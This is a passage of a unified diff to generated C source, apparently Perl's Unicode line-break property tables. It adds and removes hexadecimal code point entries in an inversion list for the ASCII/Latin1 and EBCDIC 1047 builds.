+	0x16B00,
+	0x16B30,
+	0x16B3A,
+	0x16B44,
+	0x16B45,
+	0x16B46,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BC9D,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA87,
+	0x1DA8B,
+	0x1DA8C,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F12E,
+	0x1F12F,
+	0x1F16A,
+	0x1F16C,
+	0x1F39C,
+	0x1F39E,
+	0x1F3B5,
+	0x1F3B7,
+	0x1F3BC,
+	0x1F3BD,
+	0x1F4A0,
+	0x1F4A1,
+	0x1F4A2,
+	0x1F4A3,
+	0x1F4A4,
+	0x1F4A5,
+	0x1F4AF,
+	0x1F4B0,
+	0x1F4B1,
+	0x1F4B3,
+	0x1F500,
+	0x1F507,
+	0x1F517,
+	0x1F525,
+	0x1F532,
+	0x1F54A,
+	0x1F5D4,
+	0x1F5DC,
+	0x1F5F4,
+	0x1F5FA,
+	0x1F650,
+	0x1F676,
+	0x1F67C,
+	0x1F680,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__AL_invlist[] = { /* for EBCDIC 1047 */
+	1471,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x42,
 	0x4A,
-	0x4B,
 	0x4C,
 	0x4D,
-	0x4E,
-	0x4F,
 	0x50,
 	0x5A,
-	0x5B,
 	0x5C,
 	0x5D,
-	0x5E,
 	0x5F,
 	0x60,
-	0x61,
 	0x62,
 	0x6B,
-	0x6C,
 	0x6D,
 	0x6F,
 	0x70,
@@ -71353,79 +278286,86 @@
 	0x8A,
 	0x8C,
 	0x8F,
-	0x90,
 	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
 	0x9F,
 	0xA0,
 	0xAA,
 	0xAC,
+	0xAD,
+	0xAE,
 	0xB1,
-	0xB3,
+	0xB4,
+	0xB5,
 	0xBA,
 	0xBB,
 	0xBC,
-	0xBE,
-	0xBF,
-	0xC0,
+	0xBD,
 	0xC1,
 	0xCA,
 	0xCB,
 	0xD0,
 	0xD1,
+	0xDA,
+	0xDB,
 	0xE0,
-	0xE1,
+	0xE2,
+	0xEA,
+	0xEB,
 	0xF0,
-	0xFA,
+	0xFB,
 	0xFF,
 	0x100,
-	0x2C8,
-	0x2C9,
-	0x2CC,
-	0x2CD,
+	0x2C7,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
 	0x2DF,
 	0x2E0,
 	0x300,
-	0x34F,
-	0x350,
-	0x35C,
-	0x363,
 	0x370,
+	0x378,
+	0x37A,
 	0x37E,
 	0x37F,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
 	0x483,
 	0x48A,
-	0x589,
-	0x58A,
-	0x58B,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x58D,
 	0x58F,
-	0x590,
-	0x591,
-	0x5BE,
-	0x5BF,
 	0x5C0,
 	0x5C1,
 	0x5C3,
 	0x5C4,
-	0x5C6,
-	0x5C7,
-	0x5C8,
-	0x5D0,
-	0x5EB,
-	0x5F0,
 	0x5F3,
+	0x5F5,
+	0x600,
 	0x609,
-	0x60C,
 	0x60E,
 	0x610,
-	0x61B,
-	0x61C,
-	0x61D,
-	0x61E,
 	0x620,
 	0x64B,
-	0x660,
-	0x66A,
-	0x66B,
 	0x66D,
 	0x670,
 	0x671,
@@ -71441,19 +278381,22 @@
 	0x6EE,
 	0x6F0,
 	0x6FA,
+	0x70E,
+	0x70F,
 	0x711,
 	0x712,
 	0x730,
-	0x74B,
+	0x74D,
 	0x7A6,
 	0x7B1,
-	0x7C0,
+	0x7B2,
 	0x7CA,
 	0x7EB,
 	0x7F4,
 	0x7F8,
-	0x7F9,
 	0x7FA,
+	0x7FB,
+	0x800,
 	0x816,
 	0x81A,
 	0x81B,
@@ -71461,10 +278404,18 @@
 	0x825,
 	0x828,
 	0x829,
-	0x82E,
+	0x830,
+	0x83F,
+	0x840,
 	0x859,
-	0x85C,
-	0x8D4,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
 	0x8E2,
 	0x8E3,
 	0x904,
@@ -71475,24 +278426,28 @@
 	0x951,
 	0x958,
 	0x962,
-	0x964,
-	0x966,
 	0x970,
 	0x981,
-	0x984,
-	0x9BC,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
 	0x9BD,
 	0x9BE,
-	0x9C5,
-	0x9C7,
-	0x9C9,
-	0x9CB,
 	0x9CE,
-	0x9D7,
-	0x9D8,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
 	0x9E2,
-	0x9E4,
-	0x9E6,
 	0x9F0,
 	0x9F2,
 	0x9F4,
@@ -71500,159 +278455,165 @@
 	0x9FA,
 	0x9FB,
 	0x9FC,
-	0xA01,
-	0xA04,
-	0xA3C,
-	0xA3D,
-	0xA3E,
-	0xA43,
-	0xA47,
-	0xA49,
-	0xA4B,
-	0xA4E,
-	0xA51,
-	0xA52,
-	0xA66,
-	0xA70,
+	0x9FE,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
 	0xA72,
 	0xA75,
-	0xA76,
-	0xA81,
-	0xA84,
-	0xABC,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
 	0xABD,
 	0xABE,
-	0xAC6,
-	0xAC7,
-	0xACA,
-	0xACB,
-	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
 	0xAE2,
-	0xAE4,
-	0xAE6,
 	0xAF0,
 	0xAF1,
-	0xAF2,
-	0xB01,
-	0xB04,
-	0xB3C,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
 	0xB3D,
 	0xB3E,
-	0xB45,
-	0xB47,
-	0xB49,
-	0xB4B,
-	0xB4E,
-	0xB56,
-	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
 	0xB62,
-	0xB64,
-	0xB66,
 	0xB70,
-	0xB82,
+	0xB78,
 	0xB83,
-	0xBBE,
-	0xBC3,
-	0xBC6,
-	0xBC9,
-	0xBCA,
-	0xBCE,
-	0xBD7,
-	0xBD8,
-	0xBE6,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
 	0xBF0,
 	0xBF9,
 	0xBFA,
-	0xC00,
-	0xC04,
+	0xBFB,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
 	0xC3E,
-	0xC45,
-	0xC46,
-	0xC49,
-	0xC4A,
-	0xC4E,
-	0xC55,
-	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
 	0xC62,
-	0xC64,
-	0xC66,
-	0xC70,
+	0xC78,
 	0xC81,
-	0xC84,
-	0xCBC,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
 	0xCBD,
 	0xCBE,
-	0xCC5,
-	0xCC6,
-	0xCC9,
-	0xCCA,
-	0xCCE,
-	0xCD5,
-	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
 	0xCE2,
-	0xCE4,
-	0xCE6,
-	0xCF0,
-	0xD01,
-	0xD04,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
 	0xD3E,
-	0xD45,
-	0xD46,
-	0xD49,
-	0xD4A,
 	0xD4E,
+	0xD50,
+	0xD54,
 	0xD57,
 	0xD58,
 	0xD62,
-	0xD64,
-	0xD66,
 	0xD70,
 	0xD79,
 	0xD7A,
-	0xD82,
-	0xD84,
-	0xDCA,
-	0xDCB,
-	0xDCF,
-	0xDD5,
-	0xDD6,
-	0xDD7,
-	0xDD8,
-	0xDE0,
-	0xDE6,
-	0xDF0,
-	0xDF2,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
 	0xDF4,
-	0xE31,
-	0xE32,
-	0xE34,
-	0xE3B,
-	0xE3F,
-	0xE40,
-	0xE47,
+	0xDF5,
 	0xE4F,
 	0xE50,
-	0xE5A,
-	0xE5C,
-	0xEB1,
-	0xEB2,
-	0xEB4,
-	0xEBA,
-	0xEBB,
-	0xEBD,
-	0xEC8,
-	0xECE,
-	0xED0,
-	0xEDA,
+	0xF00,
 	0xF01,
 	0xF05,
 	0xF06,
-	0xF08,
-	0xF09,
-	0xF0B,
-	0xF0C,
-	0xF0D,
-	0xF12,
 	0xF13,
 	0xF14,
 	0xF15,
@@ -71661,146 +278622,134 @@
 	0xF20,
 	0xF2A,
 	0xF34,
-	0xF35,
 	0xF36,
 	0xF37,
 	0xF38,
 	0xF39,
-	0xF3A,
-	0xF3B,
-	0xF3C,
-	0xF3D,
-	0xF3E,
 	0xF40,
-	0xF71,
-	0xF7F,
-	0xF80,
-	0xF85,
-	0xF86,
+	0xF48,
+	0xF49,
+	0xF6D,
 	0xF88,
 	0xF8D,
-	0xF98,
-	0xF99,
-	0xFBD,
-	0xFBE,
 	0xFC0,
 	0xFC6,
 	0xFC7,
+	0xFCD,
+	0xFCE,
 	0xFD0,
-	0xFD2,
-	0xFD3,
 	0xFD4,
 	0xFD9,
-	0xFDB,
-	0x102B,
-	0x103F,
-	0x1040,
-	0x104A,
 	0x104C,
-	0x1056,
-	0x105A,
-	0x105E,
-	0x1061,
-	0x1062,
-	0x1065,
-	0x1067,
-	0x106E,
-	0x1071,
-	0x1075,
-	0x1082,
-	0x108E,
-	0x108F,
-	0x1090,
-	0x109A,
-	0x109E,
+	0x1050,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
 	0x1100,
-	0x1160,
-	0x11A8,
 	0x1200,
-	0x135D,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
 	0x1360,
 	0x1361,
 	0x1362,
-	0x1400,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
 	0x1401,
 	0x1680,
 	0x1681,
 	0x169B,
-	0x169C,
-	0x169D,
+	0x16A0,
 	0x16EB,
 	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
 	0x1712,
-	0x1715,
+	0x1720,
 	0x1732,
-	0x1735,
-	0x1737,
+	0x1740,
 	0x1752,
-	0x1754,
-	0x1772,
-	0x1774,
-	0x17B4,
-	0x17D4,
-	0x17D6,
-	0x17D7,
-	0x17D8,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
 	0x17D9,
 	0x17DA,
-	0x17DB,
-	0x17DC,
-	0x17DD,
-	0x17DE,
-	0x17E0,
-	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
 	0x1802,
-	0x1804,
-	0x1806,
 	0x1807,
 	0x1808,
 	0x180A,
 	0x180B,
-	0x180E,
-	0x180F,
-	0x1810,
-	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
 	0x1885,
 	0x1887,
 	0x18A9,
 	0x18AA,
-	0x1920,
-	0x192C,
-	0x1930,
-	0x193C,
-	0x1944,
-	0x1946,
-	0x1950,
-	0x19D0,
-	0x19DA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1940,
+	0x1941,
+	0x19E0,
 	0x1A17,
-	0x1A1C,
-	0x1A55,
-	0x1A5F,
-	0x1A60,
-	0x1A7D,
-	0x1A7F,
-	0x1A80,
-	0x1A8A,
-	0x1A90,
-	0x1A9A,
-	0x1AB0,
-	0x1ABF,
-	0x1B00,
+	0x1A1E,
+	0x1A20,
 	0x1B05,
 	0x1B34,
 	0x1B45,
-	0x1B50,
-	0x1B5A,
+	0x1B4C,
 	0x1B5C,
 	0x1B5D,
 	0x1B61,
 	0x1B6B,
 	0x1B74,
-	0x1B80,
+	0x1B7D,
 	0x1B83,
 	0x1BA1,
 	0x1BAE,
@@ -71807,17 +278756,16 @@
 	0x1BB0,
 	0x1BBA,
 	0x1BE6,
-	0x1BF4,
+	0x1BFC,
 	0x1C24,
-	0x1C38,
-	0x1C3B,
-	0x1C40,
-	0x1C4A,
+	0x1C4D,
 	0x1C50,
 	0x1C5A,
 	0x1C7E,
 	0x1C80,
-	0x1CD0,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
 	0x1CD3,
 	0x1CD4,
 	0x1CE9,
@@ -71825,47 +278773,51 @@
 	0x1CEE,
 	0x1CF2,
 	0x1CF5,
-	0x1CF8,
-	0x1CFA,
+	0x1CF7,
+	0x1D00,
 	0x1DC0,
-	0x1DF6,
-	0x1DFB,
 	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
 	0x1FFD,
 	0x1FFE,
-	0x2000,
-	0x2007,
-	0x2008,
-	0x200B,
-	0x200C,
-	0x200D,
-	0x200E,
-	0x2010,
-	0x2011,
-	0x2012,
-	0x2014,
-	0x2015,
+	0x1FFF,
+	0x2017,
 	0x2018,
-	0x201A,
-	0x201B,
-	0x201E,
-	0x201F,
-	0x2020,
+	0x2022,
 	0x2024,
-	0x2027,
-	0x2028,
-	0x202A,
-	0x202F,
-	0x2030,
 	0x2038,
 	0x2039,
-	0x203B,
-	0x203C,
 	0x203E,
 	0x2044,
-	0x2045,
-	0x2046,
-	0x2047,
 	0x204A,
 	0x2056,
 	0x2057,
@@ -71872,98 +278824,3323 @@
 	0x2058,
 	0x205C,
 	0x205D,
-	0x2060,
 	0x2061,
-	0x2066,
+	0x2065,
 	0x2070,
+	0x2072,
+	0x2075,
 	0x207D,
-	0x207E,
-	0x207F,
+	0x2080,
+	0x2081,
+	0x2085,
 	0x208D,
-	0x208E,
-	0x208F,
-	0x20A0,
-	0x20A7,
-	0x20A8,
-	0x20B6,
-	0x20B7,
-	0x20BB,
-	0x20BC,
-	0x20BE,
-	0x20BF,
-	0x20D0,
-	0x20F1,
+	0x2090,
+	0x209D,
+	0x2100,
 	0x2103,
 	0x2104,
+	0x2105,
+	0x2106,
 	0x2109,
 	0x210A,
+	0x2113,
+	0x2114,
 	0x2116,
 	0x2117,
-	0x2212,
+	0x2121,
+	0x2123,
+	0x212B,
+	0x212C,
+	0x2154,
+	0x2156,
+	0x215B,
+	0x215C,
+	0x215E,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x218C,
+	0x219A,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
 	0x2214,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
 	0x22EF,
 	0x22F0,
 	0x2308,
-	0x2309,
-	0x230A,
-	0x230B,
 	0x230C,
+	0x2312,
+	0x2313,
 	0x231A,
 	0x231C,
 	0x2329,
-	0x232A,
 	0x232B,
 	0x23F0,
 	0x23F4,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x24FF,
+	0x2500,
+	0x254C,
+	0x2550,
+	0x2575,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
 	0x2600,
 	0x2604,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
 	0x2614,
-	0x2616,
-	0x2618,
 	0x2619,
 	0x261A,
-	0x261D,
-	0x261E,
 	0x2620,
 	0x2639,
 	0x263C,
-	0x2668,
-	0x2669,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
 	0x267F,
 	0x2680,
+	0x269E,
+	0x26A0,
 	0x26BD,
-	0x26C9,
-	0x26CD,
 	0x26CE,
 	0x26CF,
-	0x26D2,
-	0x26D3,
-	0x26D5,
-	0x26D8,
-	0x26DA,
-	0x26DC,
-	0x26DD,
-	0x26DF,
 	0x26E2,
-	0x26EA,
-	0x26EB,
-	0x26F1,
-	0x26F6,
-	0x26F7,
-	0x26F9,
-	0x26FA,
-	0x26FB,
-	0x26FD,
+	0x26E3,
+	0x26E4,
+	0x26E8,
 	0x2705,
 	0x2708,
-	0x270A,
 	0x270E,
+	0x2757,
+	0x2758,
 	0x275B,
 	0x2761,
 	0x2762,
-	0x2764,
 	0x2765,
 	0x2768,
+	0x2794,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2B55,
+	0x2B5A,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2CFD,
+	0x2CFE,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E16,
+	0x2E17,
+	0x2E1A,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2F,
+	0x2E30,
+	0x2E32,
+	0x2E33,
+	0x2E35,
+	0x2E3A,
+	0x2E3F,
+	0x2E40,
+	0x4DC0,
+	0x4E00,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA6F3,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA82C,
+	0xA830,
+	0xA838,
+	0xA839,
+	0xA83A,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA95F,
+	0xA960,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9C7,
+	0xA9CA,
+	0xA9CE,
+	0xA9CF,
+	0xA9D0,
+	0xA9DE,
+	0xA9E0,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA5C,
+	0xAA5D,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB29,
+	0xFB2A,
+	0xFB50,
+	0xFBC2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFDFD,
+	0xFDFE,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFFE8,
+	0xFFEF,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E1,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10858,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x10920,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A40,
+	0x10A48,
+	0x10A58,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE5,
+	0x10AEB,
+	0x10AF0,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11003,
+	0x11038,
+	0x11049,
+	0x1104E,
+	0x11052,
+	0x11066,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x110BE,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11174,
